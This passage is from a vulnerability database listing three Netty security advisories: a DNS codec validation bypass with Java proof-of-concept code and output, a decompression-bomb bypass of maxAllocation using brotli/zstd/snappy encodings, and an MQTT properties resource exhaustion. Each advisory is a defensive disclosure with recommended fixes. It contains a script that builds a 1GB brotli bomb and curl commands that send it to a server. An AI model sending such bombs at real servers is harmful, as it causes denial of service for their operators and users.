"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42579"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-626"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:12:47Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n - No null byte validation in domain name labels\n - No per-label length validation (RFC 1035 max: 63 bytes)\n - No total domain name length validation (RFC 1035 max: 255 bytes)\n - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n - No per-label length validation (max 63)\n - No total domain name length validation (max 255)\n - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n break; // NO ERROR - silently truncates!\n }\n // NO check: labelLen \u003e 63\n // NO check: label contains null bytes\n // NO check: total name \u003e 255 bytes\n buf.writeByte(labelLen); // Can write values \u003e 63!\n ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!\n }\n buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len \u003c= 63\n throw new CorruptedFrameException(\"truncated label in a name\");\n }\n name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n // ^^^^^^ StringBuilder grows WITHOUT any length limit\n in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput; // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n .addRecord(DnsSection.QUESTION,\n new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte: [C8] [61 61 61 ... (200 bytes)]\n \u2191\n Label interpretation: 200-byte label starting with \u0027a\u0027\n Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n String.class, ByteBuf.class);\n encode.setAccessible(true);\n\n // Test 1: Null byte in domain name\n ByteBuf buf = Unpooled.buffer(256);\n encode.invoke(null, \"evil\\0.example.com\", buf);\n byte[] bytes = new byte[buf.readableBytes()];\n buf.readBytes(bytes);\n buf.release();\n System.out.print(\"[TEST 1] Null byte - Encoded: \");\n for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n // Test 2: 200-byte label\n ByteBuf buf2 = Unpooled.buffer(512);\n encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n System.out.println(\"VULNERABLE: Overlength label accepted!\");\n buf2.release();\n\n // Test 3: Empty label truncation\n ByteBuf buf3 = Unpooled.buffer(256);\n encode.invoke(null, \"a..b.com\", buf3);\n byte[] bytes3 = new byte[buf3.readableBytes()];\n buf3.readBytes(bytes3);\n buf3.release();\n System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n decode.setAccessible(true);\n\n // Test 1: 100-byte label (RFC limit: 63)\n ByteBuf buf1 = Unpooled.buffer(256);\n buf1.writeByte(100);\n buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(3);\n buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(0);\n String r1 = (String) decode.invoke(null, buf1);\n buf1.release();\n System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n ByteBuf buf2 = Unpooled.buffer(512);\n for (int i = 0; i \u003c 5; i++) {\n buf2.writeByte(60);\n buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n .getBytes(StandardCharsets.US_ASCII));\n }\n buf2.writeByte(0);\n String r2 = (String) decode.invoke(null, buf2);\n buf2.release();\n System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n \" VULNERABLE=\" + (r2.length() \u003e 255));\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n Input: \"evil\\0.example.com\"\n Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n Null byte in label data: true\n VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n Input: \"aaaaaa...\" (200-char label)\n Encoded bytes: 206\n VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n Input: \"a..b.com\"\n Encoded bytes: 01 61 00\n Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n Label length: 100 bytes (RFC limit: 63)\n Decoded name length: 105\n VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n 5 labels x 60 bytes = 300+ bytes total\n RFC 1035 limit: 255 bytes\n Decoded name length: 305\n VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n int totalLength = 0;\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n }\n if (labelLen \u003e 63) {\n throw new IllegalArgumentException(\n \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n }\n for (int i = 0; i \u003c label.length(); i++) {\n if (label.charAt(i) == \u0027\\0\u0027) {\n throw new IllegalArgumentException(\n \"DNS label contains null byte at index \" + i);\n }\n }\n totalLength += 1 + labelLen;\n if (totalLength \u003e 254) {\n throw new IllegalArgumentException(\n \"DNS name exceeds maximum length of 255: \" + name);\n }\n buf.writeByte(labelLen);\n ByteBufUtil.writeAscii(buf, label);\n }\n buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
"id": "GHSA-cm33-6792-r9fm",
"modified": "2026-05-14T20:40:58Z",
"published": "2026-05-07T00:12:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}
GHSA-F6HV-JMP6-3VWV
Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS
Details
Summary
HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.
The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.
Details
HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.
For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():
// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))
ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:
// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());
For brotli, zstd, and snappy, the decoders are created without any size limit:
// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())
BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.
ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.
The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.
PoC
- Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max
- Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
f.write(compressed)
# compressed size: ~1KB
- Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
-H 'Content-Encoding: gzip' \
--data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
- Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
-H 'Content-Encoding: br' \
--data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
- The same bypass works with
Content-Encoding: zstdandContent-Encoding: snappy.
Impact
- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on
maxAllocationfor decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure
maxAllocationto protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (
Content-Encoding: brinstead ofContent-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both
HttpContentDecompressor(HTTP/1.1) andDelegatingDecompressorFrameListener(HTTP/2).
Recommended Fix
Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:
HttpContentDecompressor.java — pass maxAllocation to all decoders:
// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))
DelegatingDecompressorFrameListener.java — same fix at lines 188-210.
BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.
SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.
ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42587"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:46:35Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: gzip\u0027 \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: br\u0027 \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
"id": "GHSA-f6hv-jmp6-3vwv",
"modified": "2026-05-14T20:41:29Z",
"published": "2026-05-07T00:46:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}
GHSA-JFG9-48MV-9QGX
Vulnerability from github – Published: 2026-05-07 05:14 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty MQTT: Resource exhaustion in MqttDecoder
Details
Impact
The MQTT 5 header Properties section is parsed and buffered before any message size limit is applied.
Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded.
Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion.
This can cause high resource usage in both CPU and memory.
Resources
ANT-2026-09608
https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901027
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-mqtt"
},
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},
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}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-mqtt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44248"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T05:14:14Z",
"nvd_published_at": "2026-05-13T19:17:27Z",
"severity": "MODERATE"
},
